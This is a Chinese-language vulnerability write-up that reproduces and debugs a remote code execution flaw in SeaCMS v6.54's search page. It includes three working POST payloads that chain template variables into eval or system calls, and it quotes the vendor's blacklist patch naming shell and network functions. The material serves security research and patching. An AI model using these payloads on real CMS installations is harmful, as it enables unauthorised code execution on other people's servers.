1.环境:

php5.5.38+apache+seacms v6.54

上一篇文章针对seacms v6.45 进行了分析,官方给出针对修复前台geishell提供的方法为增加:

$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

并且在v6.54中增加了对传入变量的长度限制,限制为20个字符之内,因此单一针对一个变量的绕过方法不满足长度要求,所以在该版本中才进行了多次替换绕过

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

每一次传进去的长度刚好20,思路挺不错的(当然小于此长度也可以)

但是在echoSearchPage()函数中声明的global变量并不是只有$order一个,可以利用其他的参数构造payload进入$content变量,从而导致代码执行,整个漏洞链构造流程环环相扣,最终聚焦在eval()函数上

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

2.poc1:

http://192.168.0.6/seacms654/search.php
POST:
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

poc2:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan={searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9])&9=phpinfo();

poc3:

searchtype=5&searchword={if{searchpage:year}&year=:s{searchpage:area}}&area=y{searchpage:letter}&letter=st{searchpage:lang}&yuyan=em{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9])&9=whoami //命令执行

3.演示效果:

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

4.漏洞分析

因为最终利用的是parseif函数,并且要利用到global声明的变量,因此我选择在65行和214行下断点进行分析

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

执行payload,使用F8开始单步调试,我们关注以下7个变量的值:

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

从157行开始,利用从global声明的变量开始对$content中的内容进行替换

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

第1处替换:

首先使用$searchword变量的值进行了替换,可以看到替换以后与之前的对比

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

第2处替换:

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

将$year变量的值替换了进来

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

第3处替换:

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

将变量$area的值替换了进来,

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

第4处替换:

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

将变量$letter的值替换了进来

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

第5处替换:

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

将变量$yuyan的值替换了进来

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

第6处替换:

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

将$jq变量的值替换进来

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

第7处替换:

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

将$ver变量的值替换进来

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

触发远程代码执行,到此已经拼接成了完整的payload,此时$strIf的内容没有任何过滤就带入了eval函数执行!!!

eval(join($_POST[9]))

代码审计之seacms v6.54 前台Getshell 复现分析-LMLPHP

官方修复方法:

在parseIf函数中添加了黑名单,替换了一些敏感字符串

function parseIf($content){

        if (strpos($content,'{if:')=== false){

        return $content;

        }else{

        $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");

        $labelRule2="{elseif";

        $labelRule3="{else}";

        preg_match_all($labelRule,$content,$iar);

foreach($iar as $v){

    $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
05-17 15:47